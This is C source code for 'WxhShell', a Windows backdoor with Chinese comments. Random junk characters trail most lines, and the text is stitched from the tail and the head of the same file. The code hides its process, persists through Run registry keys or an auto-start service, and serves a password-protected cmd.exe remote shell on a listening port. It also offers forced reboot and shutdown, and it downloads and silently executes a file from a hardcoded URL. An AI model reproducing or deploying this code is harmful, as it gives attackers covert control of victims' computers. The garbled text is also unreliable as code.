    else { c(r8 F[4w  
    closesocket(wsh); zelM}/d  
    ExitThread(0); ;|AyP  
    } B~7]x;8h  
    break; =5u;\b>*  
    } (8jQdbZU  
  // 获取shell q~G@S2=}0}  
  case 's': { 1rGi"kdf  
    CmdShell(wsh); %IH ra6  
    closesocket(wsh); 3U&r K)F  
    ExitThread(0); N= {0A  
    break; kJK:1;CM?.  
  } ZDTp/5=?K/  
  // 退出 ]B=2r^fn  
  case 'x': { WYY&MHp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [$FiXH J  
    CloseIt(wsh); 4">C0m;ks  
    break; JxLSQ-"  
    } UMj8<Lq)j  
  // 离开 o6c>sh  
  case 'q': { &7Lg) PG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Wk-jaz  
    closesocket(wsh); NW`L6wgl  
    WSACleanup(); SeIL   
    exit(1); ^_!2-QY.~  
    break;  YW'l),Z  
        } {LoNp0i1a  
  } *4?%Y8;bF6  
  } 5%;=(Oig  
N5|wBm>m  
  // 提示信息 -cL wjI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L2{b~`UvP  
} <g'0q*qE  
  } x{I, gu|+  
53O}`xX!6  
  return; hhcO ]*  
} =}m'qy  
Ah Rvyj  
// shell模块句柄 >@?`n}r|  
int CmdShell(SOCKET sock) B'!I{LC  
{ gib'f@i;  
STARTUPINFO si; {RHa1wc  
ZeroMemory(&si,sizeof(si)); | rwx; +  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9MUg/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p n(y4we  
PROCESS_INFORMATION ProcessInfo; 4StoEgFS  
char cmdline[]="cmd"; 9 gWqs'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5[|ZceY  
  return 0; 'NSfGC%7R  
} pfF2!`7pI  
!G~`5?CvE  
// 自身启动模式 #kRt\Fzq  
int StartFromService(void) 7O\Qxc\  
{ zx`(ojfu  
typedef struct ) $=!e%{  
{ "s.s(TR8  
  DWORD ExitStatus; Bf8[(oc~  
  DWORD PebBaseAddress; + 3c (CTz  
  DWORD AffinityMask;  RR[1mM  
  DWORD BasePriority; +~za6  
  ULONG UniqueProcessId; bo40s9"-*W  
  ULONG InheritedFromUniqueProcessId; %1z`/B  
}   PROCESS_BASIC_INFORMATION; _l{_n2D-  
U_<k*o@:  
PROCNTQSIP NtQueryInformationProcess; ?C*}NM  
 wjfc9z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VX]Ud\(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -E>LB\[t)  
`tH :oP0=  
  HANDLE             hProcess; !T RU  
  PROCESS_BASIC_INFORMATION pbi; y[d>7fcf  
KkyZd9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !T$h? o  
  if(NULL == hInst ) return 0; @:K={AIa  
l?:S)[:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s>ohXISB[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IZOO>-g'f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UIK4]cYC'  
=.2)wA"e'  
  if (!NtQueryInformationProcess) return 0; dr^MW?{a\  
y!/:1BHlm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nZ8jBCh  
  if(!hProcess) return 0; ]7J*(,sp  
/A1qTG=Br  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cd]def[d  
A&L2&ofV&q  
  CloseHandle(hProcess); UaXWHCm`  
ewVks>lbz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kWbD?i-  
if(hProcess==NULL) return 0; )W |_f  
(Z?g^kjq)  
HMODULE hMod; Dgm"1+  
char procName[255]; (gjCm0#_%  
unsigned long cbNeeded; h1Logm+m  
O>[B"mM t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2}U:6w  
UX@8  
  CloseHandle(hProcess); FC#t}4as  
sPRo=LB  
if(strstr(procName,"services")) return 1; // 以服务启动 D),hSqJ"  
tLzKM+Ct#  
  return 0; // 注册表启动 OEhDRU%k  
} b{a\j%  
> 8%O;3-m#  
// 主模块 |G(I,EPag  
int StartWxhshell(LPSTR lpCmdLine) "J>8ZUP  
{ OpLUmn  
  SOCKET wsl; $aDkZj  
BOOL val=TRUE; y4Lh:;  
  int port=0; 2!? =I'uMA  
  struct sockaddr_in door; ]+d> ;$O  
'pC51}[A{^  
  if(wscfg.ws_autoins) Install(); C(&3L[  
tb;u%{S  
port=atoi(lpCmdLine); ,d7o/8u  
#r'S@:[  
if(port<=0) port=wscfg.ws_port; 2k+u_tj>  
1)J' pDa  
  WSADATA data; rn RWL4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y;=/S?L.:  
"GB493=v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U[ |o!2$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8XD_p);Oy  
  door.sin_family = AF_INET; ]. 0;;v6)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hFMT@Gy  
  door.sin_port = htons(port); J Mm'JK?  
Ah_0o_Di  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C~R,,  
closesocket(wsl); cHX~-:KOr  
return 1; pReSvF}}C  
} fF.sT7Az+  
+l;AL5h  
  if(listen(wsl,2) == INVALID_SOCKET) { b] ~  
closesocket(wsl); ?<U">8cP  
return 1; /-&2>4I  
} mOntc6&]  
  Wxhshell(wsl); Lrq e:\  
  WSACleanup(); RKb (  
|vgYi  
return 0; Zb$P`~(%  
`!y/$7p  
} f[-$##S.~  
2q ~y\fe  
// 以NT服务方式启动 V11 XI<V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Eg4_kp0Lq  
{ }ZJ*N Y  
DWORD   status = 0; A>%mJ3M  
  DWORD   specificError = 0xfffffff; \?"p]&2UcB  
&;[e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PGhYkj2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lS/l iI'Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h I7ur  
  serviceStatus.dwWin32ExitCode     = 0; ?xw0kXK4  
  serviceStatus.dwServiceSpecificExitCode = 0; v)<|@TD)  
  serviceStatus.dwCheckPoint       = 0; S@cKo&^  
  serviceStatus.dwWaitHint       = 0; (lt{$0   
?wREX[Tqs  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o ^""=Z  
  if (hServiceStatusHandle==0) return; 30{WGc@l#  
~2[mZias  
status = GetLastError(); :(#5%6F  
  if (status!=NO_ERROR) B}^l'p_u  
{ ,tak{["  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y\ax?(z  
    serviceStatus.dwCheckPoint       = 0; nx@,oC4  
    serviceStatus.dwWaitHint       = 0; Y'76!Y  
    serviceStatus.dwWin32ExitCode     = status; <\oD4EE_  
    serviceStatus.dwServiceSpecificExitCode = specificError; X9;51JV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3o`c`;H%p  
    return; 4P^CqD&i  
  } v0KJKrliGO  
k1~? }+<e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ="de+S8W  
  serviceStatus.dwCheckPoint       = 0; >*WT[UU  
  serviceStatus.dwWaitHint       = 0; sE!$3|Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HM &"2c  
} 3|=L1Pw#  
c+501's  
// 处理NT服务事件,比如:启动、停止 i!yE#zew  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G$VE o8Blb  
{ 8dwKJ3*.  
switch(fdwControl) yZc#@R[0  
{ z m+3aF  
case SERVICE_CONTROL_STOP: aV#phP  
  serviceStatus.dwWin32ExitCode = 0; Q:8t1ZDo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W{fNZb'  
  serviceStatus.dwCheckPoint   = 0; 5=/j  
  serviceStatus.dwWaitHint     = 0; Fil6;R  
  { nhRpb9f`1@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kiq[PK  
  } cFr `9A\-n  
  return; _kdt0Vr,L  
case SERVICE_CONTROL_PAUSE: F h+g@ u6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >tE6^7B*  
  break; #,9#x]U#v  
case SERVICE_CONTROL_CONTINUE: qm< mw"]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KO[,C[;|j  
  break; 2b&Fu\2Dmv  
case SERVICE_CONTROL_INTERROGATE: HNd? '  
  break; ;e$YM;;d  
}; Yb4%W-5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vr } -u  
} t"P:}ps{?  
|z?c>.  
// 标准应用程序主函数 fT{%zJU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a(lmm@;V<  
{ X=V2^zrt  
8=OpX,t(  
// 获取操作系统版本 rUZ09>nDy  
OsIsNt=GetOsVer(); }J $\<ZT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BT"n;L?[  
wY3| 5kbDj  
  // 从命令行安装 eu'S~c-l  
  if(strpbrk(lpCmdLine,"iI")) Install();  ^w_\D?  
=3EjD;2  
  // 下载执行文件 'oF XNO  
if(wscfg.ws_downexe) { }#6~/ W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i':a|#e>  
  WinExec(wscfg.ws_filenam,SW_HIDE); iw{^nSD  
} Bo8NY!  
ef2)k4)"  
if(!OsIsNt) { eIQ@){lJ-]  
// 如果时win9x,隐藏进程并且设置为注册表启动 eU\XAN#@  
HideProc(); *z&hXYm  
StartWxhshell(lpCmdLine); +*wr=9>  
} t&~*!w!+jH  
else yz=aJ v; H  
  if(StartFromService()) /Ow@CB  
  // 以服务方式启动 J~AmRo0!k  
  StartServiceCtrlDispatcher(DispatchTable); KBa0  
else d ;i@9+  
  // 普通方式启动 & l0LW,Bx  
  StartWxhshell(lpCmdLine); $hy0U_}6  
Q9i[?=F:z  
return 0; _gw paAJ  
} Qh+zs^-?  
~~q>]4>  
38GZ_ z}r  
s7,D}Zz  
=========================================== 1rON8=E  
rTqGtmulG  
z fu)X!t^  
U:bnX51D4  
)FN$Jlo  
E6zPN?\ <  
" F>eo.|'  
9 dK`  
#include <stdio.h> !C ZFbz~:  
#include <string.h> }=|plz}  
#include <windows.h> Ey% KbvNv  
#include <winsock2.h> nH B  
#include <winsvc.h> ?}#Iu-IA  
#include <urlmon.h> g}pD%  
%e:[[yq)G  
#pragma comment (lib, "Ws2_32.lib") 0~ o,^AW  
#pragma comment (lib, "urlmon.lib") lIPz "  
7&u$^c S(  
#define MAX_USER   100 // 最大客户端连接数 WEtPIHruyt  
#define BUF_SOCK   200 // sock buffer Pbt7T Q  
#define KEY_BUFF   255 // 输入 buffer IyAD>Q^  
@M"( r"ab  
#define REBOOT     0   // 重启 XSGBC:U)l  
#define SHUTDOWN   1   // 关机 TX;)}\  
i8S=uJ]n  
#define DEF_PORT   5000 // 监听端口 t%StBq(q  
qfjUJ/  
#define REG_LEN     16   // 注册表键长度 $W%-Mm  
#define SVC_LEN     80   // NT服务名长度 W}#n.c4+  
wo;OkJKF  
// 从dll定义API +.Xi7x+#O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d.HcO^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ';v1AX}5q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }}Z2@}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6"; ITU^v  
J|vg<[  
// wxhshell配置信息 kK/XYC 0D  
struct WSCFG { qae|?z  
  int ws_port;         // 监听端口 MBAj.J  
  char ws_passstr[REG_LEN]; // 口令 Qe-PW9C  
  int ws_autoins;       // 安装标记, 1=yes 0=no <W+9 h0c  
  char ws_regname[REG_LEN]; // 注册表键名 VfozqUf  
  char ws_svcname[REG_LEN]; // 服务名 '8[; m_S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Tgh?=]H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -hc8IS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v0?SN>fZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vmh>|N4a7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3gnO)"$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3W{ !\  
9E NI%Jz  
}; {h PB%  
UZ#oaD8H6  
// default Wxhshell configuration Vf<q-3q  
struct WSCFG wscfg={DEF_PORT, ;e< TEs  
    "xuhuanlingzhe", %NM={X|'  
    1, /4@ [^}x  
    "Wxhshell", z:Z-2WV2o  
    "Wxhshell", SlwQ_F"4L  
            "WxhShell Service", JW )f'r_f  
    "Wrsky Windows CmdShell Service", /nn~&OU  
    "Please Input Your Password: ", pRd'\+  
  1, vPc*x5w-  
  "http://www.wrsky.com/wxhshell.exe", E^Q J50  
  "Wxhshell.exe" q^?a|l  
    }; Qqx!'fft  
Cy *.pzCi  
// 消息定义模块 [P6m8%Y|s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EiG5k.C@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a=`] L`|N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /0$fYrg>J  
char *msg_ws_ext="\n\rExit."; (=%0$(S>  
char *msg_ws_end="\n\rQuit."; <fF|AbC:  
char *msg_ws_boot="\n\rReboot..."; noM=8C&U  
char *msg_ws_poff="\n\rShutdown..."; pWq+`|l$  
char *msg_ws_down="\n\rSave to "; o\]U;#YD  
]^T-X/v9  
char *msg_ws_err="\n\rErr!"; `oH4"9&]k3  
char *msg_ws_ok="\n\rOK!"; SN]g4}K-  
Ln t 1  
char ExeFile[MAX_PATH]; lRNm &3:-  
int nUser = 0; iQS,@6  
HANDLE handles[MAX_USER]; o OC&w0  
int OsIsNt; x/wgD'?  
lfre-pS+  
SERVICE_STATUS       serviceStatus; p|8ZHR+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {f@Q&(g  
\KzJNCOT  
// 函数声明 h(<>s#=E  
int Install(void); {+nf&5E 6  
int Uninstall(void); '5LdiSk  
int DownloadFile(char *sURL, SOCKET wsh); 2ij&Db/  
int Boot(int flag); Dh}(B$~Oz+  
void HideProc(void); ^;rjs|`K#  
int GetOsVer(void); CWocb=E  
int Wxhshell(SOCKET wsl); 3u&,3:  
void TalkWithClient(void *cs); GC'e  
int CmdShell(SOCKET sock); W]bgWKd  
int StartFromService(void); x)GheM^  
int StartWxhshell(LPSTR lpCmdLine); zBu@a:E%H  
9t6c*|60#n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9x|`XAB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C#^y{q  
jT}={[9b  
// 数据结构和表定义 MtaGv#mJ  
SERVICE_TABLE_ENTRY DispatchTable[] = ^m&I^ \  
{ w;j<$<4=7  
{wscfg.ws_svcname, NTServiceMain}, r-TrA$k  
{NULL, NULL} =&,T@5&-=  
}; 4d cm)Xr  
E}v8Q~A(  
// 自我安装 +ima$a0Zyt  
int Install(void) *YL86R+U  
{ '4<o&b^yQ  
  char svExeFile[MAX_PATH]; %ut 8/T  
  HKEY key; |R _rfJh  
  strcpy(svExeFile,ExeFile); Tjq1[Wq  
6 /5,n0  
// 如果是win9x系统,修改注册表设为自启动  BgQ/$,  
if(!OsIsNt) { J?yasjjgP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M<d!j I9)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ENIg_s4  
  RegCloseKey(key); q4&! mDU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A[ncwJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u[Kz^ga<  
  RegCloseKey(key); vdC0tax  
  return 0; Qrg- xu=  
    } M\a{2f7'n  
  } )E*f30  
} Q;w [o  
else { 7C 0xKF  
!%ju.Xs8  
// 如果是NT以上系统,安装为系统服务 E;{RNf|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m*A b<$y  
if (schSCManager!=0) HY FMf3  
{ e15yDwvB  
  SC_HANDLE schService = CreateService z<%bNnSO  
  ( c:u*-lYmK%  
  schSCManager, Qn.dL@W  
  wscfg.ws_svcname, &1yJrj9y  
  wscfg.ws_svcdisp, 0NGth(2  
  SERVICE_ALL_ACCESS, z k/`Uz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6PYt>r&TO  
  SERVICE_AUTO_START, cWZITT{A  
  SERVICE_ERROR_NORMAL, tWTHyL  
  svExeFile, #~)A#~4O  
  NULL, _.Hj:nFHz  
  NULL, `;+x\0@<  
  NULL, *X/Vt$P  
  NULL, C@eL9R;N1  
  NULL R6od{#5H$  
  ); N%}J:w  
  if (schService!=0) xb3G,F  
  { wbAwmOiZ  
  CloseServiceHandle(schService); Gd_0FF.  
  CloseServiceHandle(schSCManager); ,v K%e>e&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {VW\EOPV~  
  strcat(svExeFile,wscfg.ws_svcname); 2HmK['(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ch]Qz[d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T`":Q1n  
  RegCloseKey(key); <O0tg[ub  
  return 0; i0K 2#}=^  
    } P dqvXc  
  } ?Y3i-jY  
  CloseServiceHandle(schSCManager); Zf3(! a[  
} Ig}hap]G  
} 5=I({=/>  
AXHY$f|  
return 1; rHB>jN@$  
} Y3DqsZ@  
t!Cz;ajNi  
// 自我卸载 x\8g ICf  
int Uninstall(void) 4X]/8%]V  
{ Ja:4EU$Lu  
  HKEY key; QUn!& 55  
6E-eD\?I&  
if(!OsIsNt) { jq%<Z,rh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H\oxj,+N  
  RegDeleteValue(key,wscfg.ws_regname); ]jxyaE&%4  
  RegCloseKey(key); jH9PD8D\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @I?,!3`jS  
  RegDeleteValue(key,wscfg.ws_regname); '1LN)Yw  
  RegCloseKey(key); wg%Z  
  return 0; X^N6s"2  
  } J FnE{  
} ocWl]h].  
} a<q9~QS  
else { ,--#3+]XU  
f}(4v1 T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @y7KP$t  
if (schSCManager!=0) e:nByzdH0[  
{ _Sfu8k>):  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -LRx}Mb9  
  if (schService!=0) @[9  
  { Mb2a;s  
  if(DeleteService(schService)!=0) { I F6$@Q  
  CloseServiceHandle(schService); 8|)!E`TKSV  
  CloseServiceHandle(schSCManager); g $Y]{VM.J  
  return 0; %C,zR&]F  
  } J{dO0!7y  
  CloseServiceHandle(schService); Yc]k<tQ  
  } 4)tY6ds)r|  
  CloseServiceHandle(schSCManager); Jw}t~m3  
} a5/, O4Q  
} )jgz(\KZ  
#rX ^)2  
return 1; ai$l7]7  
} pP":,8Q{  
^g6v#]&WA  
// 从指定url下载文件 tq h)yr;  
int DownloadFile(char *sURL, SOCKET wsh) ,\"x#Cc f  
{ V[kJ;YLPN  
  HRESULT hr; @NA+Ma{N  
char seps[]= "/"; ^UKY1Q .  
char *token; C;HEv q7  
char *file; siCi+Y  
char myURL[MAX_PATH]; *uRDB9#9,  
char myFILE[MAX_PATH]; E*5aLT5!,  
* cW%Q@lit  
strcpy(myURL,sURL); %/w-.?bX  
  token=strtok(myURL,seps); w:%NEa,Z  
  while(token!=NULL) WuY#Kx~2  
  { U.SC,;N^  
    file=token; iu=Mq|t0  
  token=strtok(NULL,seps); J[6/dM  
  } ty['yV-;a  
h SS9mQ  
GetCurrentDirectory(MAX_PATH,myFILE); =<HekiYM  
strcat(myFILE, "\\"); G`%rnu  
strcat(myFILE, file); @JhkUGG]p  
  send(wsh,myFILE,strlen(myFILE),0); W)r|9G8T  
send(wsh,"...",3,0); mv:@D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u-iQ  
  if(hr==S_OK) + >dC  
return 0; -{OJM|W+  
else D.{vuftu  
return 1; ==?wG!v2h  
[DjlkA/Zg  
} h\@X!Z,  
3lWGa7<4Z  
// 系统电源模块 >g!$H}\  
int Boot(int flag) n]#YL4j  
{ !O!:=wq  
  HANDLE hToken; paV1o>_Rd  
  TOKEN_PRIVILEGES tkp; vo }4N[]Sb  
Kn$E{F\  
  if(OsIsNt) { <`SA >P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 83V\O_7j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #pAN   
    tkp.PrivilegeCount = 1; 81|[Y'f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &&<l}E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1N$OXLu  
if(flag==REBOOT) { { /!ryOA65  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d1g7:s9$0  
  return 0; (G+)v[f  
} :^?-bppYW  
else { tE-bHu370  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]#shuZ##>0  
  return 0; \ky oA Z  
} 2<J2#}+ \  
  } 9s5s;ntz"  
  else { ck `td%  
if(flag==REBOOT) { YR\(*LJL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [AFR \{  
  return 0; ckFPx l.  
} >?JUGXAi'{  
else { KS5a8'U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ehr\lcS<  
  return 0; 8hww({S2  
} 30I-E ._F  
} qm_r~j  
zp9lu B  
return 1; :yJ#yad  
} 3<)][<Ud  
9wfE^E1  
// win9x进程隐藏模块 ?Mo)&,__  
void HideProc(void) = =pQ V[  
{ )g8Kicox5  
$HOe){G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q$p3cepsK  
  if ( hKernel != NULL ) S3HyB b  
  { vD#kH 1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /z!y[ri+J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NoF|j57?u'  
    FreeLibrary(hKernel); B)DuikV.D  
  } nvQX)Xf  
R!"`Po  
return; I+Yq",{%  
} c]k+ Sx&}  
6:QlHuy0nH  
// 获取操作系统版本 t; #@t/`  
int GetOsVer(void) - 8"K|ev  
{ N@X6Z!EO  
  OSVERSIONINFO winfo; *=O3kUoL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UnVa`@P^:G  
  GetVersionEx(&winfo); ib> ~3s;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TEer>gD:v  
  return 1; G,WLca[  
  else ]!"7k_  
  return 0; j7I?K :op=  
} kene' aDm  
,V5fvHPH)8  
// 客户端句柄模块 hd/'>]  
int Wxhshell(SOCKET wsl) '.%Omc  
{ EUrIh2.Z  
  SOCKET wsh; ,qB@agjvo<  
  struct sockaddr_in client; e+#k\x   
  DWORD myID; Ht}?=ZzW  
v`Y{.>[H[  
  while(nUser<MAX_USER) Vy/G-IASb  
{ $mAyM+ ph[  
  int nSize=sizeof(client); h4ntjk|{i7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p/LV^TQ  
  if(wsh==INVALID_SOCKET) return 1; GHi'ek<?^  
@+Nf@LJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fY =:geB  
if(handles[nUser]==0) h c]p^/H  
  closesocket(wsh); T_wh)B4xW  
else )iC@n8f7o  
  nUser++; m%;LJ~R  
  } -~J5aG[@~>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )B+zv,#q  
XCxxm3t  
  return 0; D8*6h)~  
} }=|{"C  
/VEK<.,aMv  
// 关闭 socket Y HS/|-  
void CloseIt(SOCKET wsh) yZoJD{'?Sw  
{ ON>l%Ae4G  
closesocket(wsh); .n.N.e  
nUser--; |eye) E:  
ExitThread(0); f*xv#G  
} KT(v'KE 1  
w4Hq|N1-Y  
// 客户端请求句柄 C*RPSk  
void TalkWithClient(void *cs) e`JWY9%  
{ [ gR,nJH.  
eMn'z]M&]  
  SOCKET wsh=(SOCKET)cs; PN J&{4wY  
  char pwd[SVC_LEN]; HHgv, bC!  
  char cmd[KEY_BUFF]; 23ho uS   
char chr[1]; ei}(jlQp  
int i,j; q JtLJ<=1  
{{pN7Z  
  while (nUser < MAX_USER) { kQ2WdpZ/  
<dXeP/1w`  
if(wscfg.ws_passstr) { I+3=|Ve f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fX\y/C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qv:DpK  
  //ZeroMemory(pwd,KEY_BUFF); o7PS1qcya<  
      i=0; j}J=ZLr/V"  
  while(i<SVC_LEN) { _ q>|pt.W  
,j(E>g3  
  // 设置超时 ]w4?OK(j  
  fd_set FdRead; ^,f^YL;  
  struct timeval TimeOut; d mTZEO  
  FD_ZERO(&FdRead); .Tw:Y,G  
  FD_SET(wsh,&FdRead); -i91nMi]  
  TimeOut.tv_sec=8; .>}Z3jUrf  
  TimeOut.tv_usec=0; y G mFi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?y  "M>#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NCo!n$O1~  
rAqS;@]0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +.rOqkxJ  
  pwd=chr[0]; W|sU[dxZ  
  if(chr[0]==0xd || chr[0]==0xa) { ~GJ;;v1b2  
  pwd=0; !`W0;0'Zg  
  break; A |U0e`Iw  
  } LU@1Gol  
  i++; dd +lQJ c  
    } +T,A^(&t  
BT$Oh4y4  
  // 如果是非法用户,关闭 socket |-cXb.M[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zR/mz)6_  
} Fs=)*6}&  
7>0/$i#'Vl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (_3'nFg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  #3RElI  
V)u#=OS  
while(1) { NMC0y|G  
eQ6wEeB9  
  ZeroMemory(cmd,KEY_BUFF); PJ<qqA`!  
}!|$;3t+c  
      // 自动支持客户端 telnet标准   n\BV*AH  
  j=0; WyM2h  
  while(j<KEY_BUFF) { +^AAik<yl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {%&04yq+  
  cmd[j]=chr[0]; O@dK^o  
  if(chr[0]==0xa || chr[0]==0xd) { zF? 6"  
  cmd[j]=0; ,K30.E  
  break; W+4Bx=Mj  
  } B| M@o^Tf  
  j++; 8b4? O"  
    } $ )2zz>4  
*M>~$h7  
  // 下载文件 y4=T0[ V  
  if(strstr(cmd,"http://")) { bwszfPM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *&+zI$u(  
  if(DownloadFile(cmd,wsh)) +t Prqv"(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Q}Q -Zt  
  else yWT1CID  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zz 'g&ewo  
  } f^IB:e#j;  
  else { } ,Dk6w$  
iex]J@=e  
    switch(cmd[0]) { n 1^h;2gz  
  #P!M"_z  
